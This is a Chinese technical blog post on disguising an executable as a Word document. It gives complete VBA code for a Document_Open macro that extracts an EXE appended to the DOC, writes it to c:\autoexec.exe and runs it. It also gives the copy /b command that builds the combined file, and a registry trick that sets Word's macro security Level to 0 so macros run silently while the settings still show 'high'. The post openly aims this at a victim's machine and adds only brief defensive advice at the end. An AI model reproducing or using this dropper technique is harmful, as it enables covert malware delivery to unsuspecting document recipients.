`
xujinquan19
  • 浏览: 145889 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

EXE文件转变DOC文件格式的方法

阅读更多
这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!)


熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWS API!!下面我们来介绍一下我们编写这个宏需要用到的API函数:

1)CreateFile 用于打开文件,该函数VB的声明如下:
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long


2)CloseHandle 用于关闭被打开文件的句柄,该函数VB的声明如下:
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


3)ReadFile 用于从被打开文件中读取数据,该函数VB的声明如下:

Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long


4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:

Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long


5)SetFilePoniter移动文件指针,该函数VB的声明如下:

Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long


6)下面是以上函数的参数声明

Public Const GENERIC_READ As Long = &H80000000

Public Const GENERIC_WRITE As Long = &H40000000

Public Const FILE_SHARE_READ As Long = 1

Public Const FILE_SHARE_WRITE As Long = 2

Public Const CREATE_NEW As Long = 1

Public Const CREATE_ALWAYS As Long = 2

Public Const OPEN_EXISTING As Long = 3

Public Const OPEN_ALWAYS As Long = 4

Public Const TRUNCATE_EXISTING As Long = 5

Public Const INVALID_HANDLE_VALUE As Long = -1

Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80


好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUAL BASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输入一下代码:


Private Sub Document_Open()

Dim buffer(65536) As Byte

Dim h, h2, j, i, k As Long

h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)

‘以SHARE_READ的方式打开自身的DOC文件

h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)

‘新建一个EXE文件准备存放读取出来的数据.

If h = INVALID_HANDLE_VALUE Then

Exit Sub

End If

k = SetFilePointer(h, 32768, nil, 0)

‘把文件指针移动到DOC文件与EXE文件交界处.

Do

i = ReadFile(h, buffer(0), 65536, j, 0)

i = WriteFile(h2, buffer(0), j, j, 0)

Loop Until j < 65536

CloseHandle (h)

CloseHandle (h2)

Shell "c:\autoexec.exe"

‘运行EXE文件

End Sub

这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意!


大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:


copy /b xxxx.doc + xxxxx.exe newdoc.doc


这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:


HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的

Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?


如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!


这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心.

分享到:
评论

相关推荐

    pdf转各种格式文件

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    Andriod平台下的文件共享及其安全技术研究与实现.doc

    对等网络的出现改变了文件共享方式,使文件传输开始从传统的服务器转发向对等节点直接传输转变。随着智能手机计算能力越来越强,人们希望利用手机可以更快捷高效地工作。其中搭载Android系统的智能手机发展最为迅速...

    Solid Converter PDF(快速将PDF转换成Word文档)v7.1 中文破解版

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    Solid Converter PDF 7.1.934简繁破解版

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。 另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。 软件还支持直接将Word转换成PDF格式和 Excel格式。 操作简单,转换效果非常不错...

    PDF转换成word工具

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。 另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。 软件还支持直接将Word转换成PDF格式和 Excel格式。 操作简单,转换效果非常不错...

    ExcelVBA程序设计.doc

    23.操作文件和文件夹的时髦方法 162 24.使用WSH获取文件信息 164 25.FILESYSTEMOBJEC的方法和属性 165 26.对象FILE的属性 168 27.文件夹对象属性 169 28.驱动器对象属性 169 29.使用WSH创建文本文件 170 30.使用WSH...

    PDF转WORD/pdf转doc Solid Converter PDF v9.0注册版part2

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    PDF转WORD/pdf转doc Solid Converter PDF v9.0注册版part1

    扫描功能将允许你通过该软件直接将纸质文件转变为PDF文档。另外,软件使用非常简单,具有功能强大所见即所得(WYSIWYG )用户界面。软件还支持直接将Word转换成PDF格式和 Excel格式。操作简单,转换效果非常不错,...

    多媒体计算机技术试题及答案.doc

    MP3代表的含义(B) A、一种视频格式 B、一种音频格式 C、一种网络协议 D、软件的名称 2. 超文本标记语言是指 B A、 WWW B、 HTTL C、 HTML D、 VRML 3. CD-ROM是指 B A、数字音频 B、只读存储光盘 C、交互光盘 D、...

    快速将PDF转换成Word文档工具Solid Converter PDF v7.1 中文版.zip

    Solid Converter PDF 是一款功能强大的PDF格式转换软件,允许用户将PDF转换为Word,Excel,Html,Text等格式,并具有强有力的PDF创建、PDF编辑、PDF扫描与存档功能,扫描功能将允许你通过该软件直接将纸质文件转变为...

    matlab曲线的颜色代码-help2doc:将MATLAB源文件转换为各种文档格式

    转变 目的 -h,--help 显示此帮助消息并退出 -w,--web 格式化页面以进行在线Web查看 -M,-doc 格式化Matlab帮助浏览器的页面 -l,-latex 格式化页面以使用LaTeX创建 -m,--markdown 格式化页面以使用MarkDown创建 -...

    c#开发opcserver例子(内附源代码)

    经常使用的函数在工程中已经定义并使用.WTOPCSVRDLL使用说明中文.doc中,介绍的是VB中WtOPCSvr的使用方法.大家可以把VB的转变成C#的.我的工程中,已经给大家做了示例. 所有的文件:源码,dll文件,说明文件,都包含在...

    2018年奥鹏计算机应用基础答案.doc

    文件型病毒传染的对象主要是.COM和.EXE类型的文件。 二、计算题(每小题8分,共16分) 1.设汉字点阵为32×32,那么100个汉字的字形码信息需占用多少字节? 解:32×32÷8×100=12800 100个汉字的字形码信息需占用 ...

    多媒体技术发展趋势.doc

    数字化 技术将文件处理带入了新的领域,让人们可以用更快的速度生产文件,用更便捷的方式 修改图像和文件,利用网络通讯把图像和文件迅速地传到四面八方。经过数字压缩,从 根本上解决了录像带资源长期保存的问题。...

    专题资料(2021-2022年)《转变作风求真务实推进工商行政管理工作科学发展》.doc

    教育资料

    txt转变为tbl

    All2Text 是专为转换文件到TXT格式的软件,是一款设计不错的 TXT 文件转换工具,它可以很轻松的将 .html、 .htm、 .doc、 .rft 文件转换成 .txt 文件 。 如果你需要经常的做一些这样的转换工作,那么这款软件对你来...

    C#开发opcserver含源码

    经常使用的函数在工程中已经定义并使用.WTOPCSVRDLL使用说明中文.doc中,介绍的是VB中WtOPCSvr的使用方法.大家可以把VB的转变成C#的.我的工程中,已经给大家做了示例. 所有的文件:源码,dll文件,说明文件,都包含在...

    3操作系统选择题.doc

    (1)操作系统负责管理计算机系统的( C),其中包括处理机、内存、外围设备和文件。 A、程序; B、文件; C、资源; D、进程 (2)没有下列设备计算机无法工作( C ): A、硬盘; B、软盘; C、内存; D、打印机 1...

    JSP中把动态页面转换为静态页面.doc

    解决大型网站频繁查询数据库的问题,一定程度上可以暂时解决问题!

    光学识别 OCR 软件 Readiris Corporate 17.2.9.0 中文多语直装版.zip

    1、将文件、图像或 PDF 转变成可编辑文字 不需要再重新输入任何文字!Readiris 可助你转换所有文件、图像或 PDF 文件为可编辑数码文本。 采用新的 OCR 引擎,速度比以往更快更准确! 2、创建一个可搜索的 PDF 文件 ...

Global site tag (gtag.js) - Google Analytics